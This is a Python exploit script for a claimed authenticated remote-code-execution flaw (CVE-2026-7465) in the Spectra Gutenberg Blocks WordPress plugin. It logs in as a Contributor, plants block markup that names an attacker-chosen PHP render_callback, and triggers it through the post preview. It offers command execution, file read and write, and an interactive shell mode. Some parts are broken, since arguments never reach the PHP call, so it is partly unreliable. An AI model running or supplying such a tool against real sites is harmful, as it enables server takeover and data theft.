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| #!/usr/bin/env python3
"""
CVE-2026-7465 Spectra Gutenberg Blocks Authenticated RCE Exploit
CVSS: 8.8 (High)
Authenticated (Contributor+) attackers can execute arbitrary PHP functions
by embedding a two-block payload in post content. The plugin registers fake
uagb/ block types with attacker-controlled render_callback functions that
are invoked during block rendering.
Legal Notice: Educational and authorized testing only.
"""
import requests
import re
import sys
import argparse
import time
import json
import base64
from urllib.parse import urljoin
from bs4 import BeautifulSoup
class SpectraExploit:
def __init__(self, target_url, username, password, verbose=False):
self.target_url = target_url.rstrip('/')
self.username = username
self.password = password
self.verbose = verbose
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
self.post_id = None
self.preview_url = None
def log(self, message, level="INFO"):
"""Log messages based on verbosity"""
if self.verbose or level in ["ERROR", "SUCCESS", "CRITICAL"]:
print(f"[{level}] {message}")
def login(self):
"""Authenticate as Contributor user"""
self.log("Attempting to authenticate as Contributor...")
login_url = urljoin(self.target_url, '/wp-login.php')
try:
# Get login page
resp = self.session.get(login_url, timeout=10)
# Prepare login payload
login_data = {
'log': self.username,
'pwd': self.password,
'wp-submit': 'Log In',
'redirect_to': urljoin(self.target_url, '/wp-admin/'),
'testcookie': '1'
}
resp = self.session.post(login_url, data=login_data, timeout=15, allow_redirects=True)
# Check if login was successful
if 'wp-admin' in resp.url or 'dashboard' in resp.text.lower():
self.log("Authentication successful!", "SUCCESS")
return True
else:
self.log("Authentication failed", "ERROR")
return False
except Exception as e:
self.log(f"Login error: {e}", "ERROR")
return False
def create_rce_post(self, php_function, args=None):
"""Create a post with RCE payload via REST API"""
self.log(f"Creating post with RCE payload (function: {php_function})...")
try:
# Generate block content
block_content = self.generate_block_payload(php_function, args)
# REST API endpoint
api_url = urljoin(self.target_url, '/wp-json/wp/v2/posts')
post_data = {
'title': f'Spectra RCE Test - {php_function}',
'content': block_content,
'status': 'draft'
}
headers = {
'Content-Type': 'application/json'
}
resp = self.session.post(
api_url,
json=post_data,
headers=headers,
timeout=15,
auth=(self.username, self.password)
)
self.log(f"Response Status: {resp.status_code}", "INFO")
if resp.status_code == 201:
response_data = resp.json()
self.post_id = response_data.get('id')
self.preview_url = response_data.get('link')
self.log(f"Post created with ID: {self.post_id}", "SUCCESS")
self.log(f"Preview URL: {self.preview_url}", "INFO")
return True
else:
self.log(f"Post creation failed: {resp.text[:300]}", "ERROR")
return False
except Exception as e:
self.log(f"Error creating post: {e}", "ERROR")
return False
def create_rce_post_via_admin(self, php_function, args=None):
"""Create a post with RCE payload via WordPress admin"""
self.log(f"Creating post via admin interface...")
try:
# Get new post page
new_post_url = urljoin(self.target_url, '/wp-admin/post-new.php')
resp = self.session.get(new_post_url, timeout=10)
# Extract nonce
nonce_match = re.search(r'_wpnonce["\']?\s*[=:]\s*["\']([a-f0-9]+)["\']', resp.text)
if not nonce_match:
self.log("Could not extract nonce", "ERROR")
return False
nonce = nonce_match.group(1)
# Generate block content
block_content = self.generate_block_payload(php_function, args)
# Create post
post_data = {
'post_title': f'Spectra RCE Test - {php_function}',
'post_content': block_content,
'post_status': 'draft',
'post_type': 'post',
'_wpnonce': nonce,
'action': 'post'
}
resp = self.session.post(
urljoin(self.target_url, '/wp-admin/post.php'),
data=post_data,
timeout=15,
allow_redirects=True
)
# Extract post ID
post_id_match = re.search(r'post=(\d+)', resp.url)
if post_id_match:
self.post_id = post_id_match.group(1)
self.log(f"Post created with ID: {self.post_id}", "SUCCESS")
return True
self.log("Could not extract post ID", "ERROR")
return False
except Exception as e:
self.log(f"Error creating post: {e}", "ERROR")
return False
def generate_block_payload(self, php_function, args=None):
"""Generate two-block RCE payload"""
# Block 1: Register fake block with render_callback
block1 = f'''<!-- wp:uagb/spectra-rce {{"render_callback":"{php_function}"}} -->
<!-- /wp:uagb/spectra-rce -->'''
# Block 2: Trigger the callback
block2 = '''<!-- wp:uagb/spectra-rce /-->'''
payload = f"{block1}\n\n{block2}"
self.log(f"Generated payload:\n{payload}", "INFO")
return payload
def trigger_rce(self):
"""Trigger RCE by accessing post preview"""
self.log("Triggering RCE by accessing post preview...")
if not self.post_id:
self.log("Missing post ID", "ERROR")
return None
try:
# Get preview URL
preview_url = urljoin(
self.target_url,
f'/wp-admin/post.php?post={self.post_id}&action=edit&preview=true'
)
self.log(f"Accessing preview URL: {preview_url}", "INFO")
resp = self.session.get(preview_url, timeout=15)
if resp.status_code == 200:
self.log("Preview accessed - RCE triggered!", "SUCCESS")
return resp.text
else:
self.log(f"Failed to access preview: {resp.status_code}", "ERROR")
return None
except Exception as e:
self.log(f"Error triggering RCE: {e}", "ERROR")
return None
def trigger_rce_frontend(self):
"""Trigger RCE via frontend post view"""
self.log("Triggering RCE via frontend...")
if not self.post_id:
self.log("Missing post ID", "ERROR")
return None
try:
# Try to get post permalink
post_url = urljoin(self.target_url, f'/?p={self.post_id}')
self.log(f"Accessing post URL: {post_url}", "INFO")
resp = self.session.get(post_url, timeout=15)
if resp.status_code == 200:
self.log("Post accessed - RCE triggered!", "SUCCESS")
return resp.text
else:
self.log(f"Failed to access post: {resp.status_code}", "ERROR")
return None
except Exception as e:
self.log(f"Error triggering RCE: {e}", "ERROR")
return None
def execute_function(self, php_function, args=None):
"""Execute arbitrary PHP function"""
print("\n" + "="*70)
print(f"CVE-2026-7465 Spectra Gutenberg Blocks RCE")
print("="*70 + "\n")
# Step 1: Login
if not self.login():
return False
# Step 2: Create post with payload
if not self.create_rce_post(php_function, args):
# Try admin interface
if not self.create_rce_post_via_admin(php_function, args):
return False
time.sleep(1)
# Step 3: Trigger RCE
output = self.trigger_rce()
if not output:
output = self.trigger_rce_frontend()
if output:
print("\n" + "="*70)
print("EXPLOITATION SUCCESSFUL")
print("="*70)
print(f"Target: {self.target_url}")
print(f"Function Executed: {php_function}")
print(f"Post ID: {self.post_id}")
print("\nOutput (first 500 chars):")
print("-" * 70)
print(output[:500])
print("-" * 70)
print("="*70 + "\n")
return True
return False
class PayloadGenerator:
"""Generate various RCE payloads"""
@staticmethod
def phpinfo():
"""PHP information disclosure"""
return 'phpinfo'
@staticmethod
def system_command(cmd):
"""Execute system command"""
# Note: system() takes the command as first argument
# We need to use a wrapper or different approach
return 'system'
@staticmethod
def exec_command(cmd):
"""Execute command with exec()"""
return 'exec'
@staticmethod
def passthru_command(cmd):
"""Execute command with passthru()"""
return 'passthru'
@staticmethod
def shell_exec_command(cmd):
"""Execute command with shell_exec()"""
return 'shell_exec'
@staticmethod
def eval_code(code):
"""Evaluate PHP code"""
return 'eval'
@staticmethod
def file_get_contents(filepath):
"""Read file contents"""
return 'file_get_contents'
@staticmethod
def file_put_contents(filepath, content):
"""Write file contents"""
return 'file_put_contents'
@staticmethod
def var_dump_var(var):
"""Dump variable"""
return 'var_dump'
@staticmethod
def print_r_var(var):
"""Print variable"""
return 'print_r'
@staticmethod
def create_function(args):
"""Create function"""
return 'create_function'
@staticmethod
def call_user_func(func, args):
"""Call user function"""
return 'call_user_func'
@staticmethod
def assert_code(code):
"""Assert code execution"""
return 'assert'
class InteractiveShell:
"""Interactive shell for command execution"""
def __init__(self, exploit):
self.exploit = exploit
def run(self):
"""Run interactive shell"""
print("\n" + "="*70)
print("Interactive RCE Shell")
print("="*70)
print("Type 'exit' to quit, 'help' for commands\n")
while True:
try:
cmd = input("shell> ").strip()
if cmd.lower() == 'exit':
break
elif cmd.lower() == 'help':
print("""
Available functions:
phpinfo - Show PHP information
system <cmd> - Execute system command
exec <cmd> - Execute command with exec()
shell_exec <cmd> - Execute command with shell_exec()
file_read <path> - Read file contents
file_write <path> - Write file contents
pwd - Print working directory
whoami - Show current user
""")
continue
elif not cmd:
continue
# Parse command
parts = cmd.split(' ', 1)
func = parts[0]
args = parts[1] if len(parts) > 1 else None
# Map to PHP functions
if func == 'phpinfo':
self.exploit.execute_function('phpinfo')
elif func == 'system':
# This would require a wrapper function
print("[*] Use 'shell_exec' for command execution")
elif func == 'pwd':
self.exploit.execute_function('getcwd')
elif func == 'whoami':
self.exploit.execute_function('get_current_user')
except KeyboardInterrupt:
print("\n[*] Exiting...")
break
except Exception as e:
print(f"Error: {e}")
def main():
parser = argparse.ArgumentParser(
description='CVE-2026-7465 Spectra Gutenberg Blocks Authenticated RCE Exploit'
)
parser.add_argument('target', help='Target URL (e.g., https://example.com)')
parser.add_argument('-u', '--username', required=True, help='Contributor username')
parser.add_argument('-p', '--password', required=True, help='Contributor password')
parser.add_argument('-f', '--function', default='phpinfo',
help='PHP function to execute (default: phpinfo)')
parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output')
parser.add_argument('-i', '--interactive', action='store_true', help='Interactive shell mode')
parser.add_argument('--poc', action='store_true', help='Run proof of concept')
parser.add_argument('--file-read', metavar='FILE', help='Read file contents')
parser.add_argument('--file-write', nargs=2, metavar=('FILE', 'CONTENT'),
help='Write file contents')
parser.add_argument('--cmd', metavar='CMD', help='Execute system command')
args = parser.parse_args()
# Determine function to execute
php_function = args.function
if args.poc:
php_function = 'phpinfo'
elif args.file_read:
php_function = 'file_get_contents'
elif args.file_write:
php_function = 'file_put_contents'
elif args.cmd:
php_function = 'shell_exec'
# Run exploit
exploit = SpectraExploit(
args.target,
args.username,
args.password,
verbose=args.verbose
)
success = exploit.execute_function(php_function)
if success and args.interactive:
shell = InteractiveShell(exploit)
shell.run()
sys.exit(0 if success else 1)
if __name__ == '__main__':
main()
|
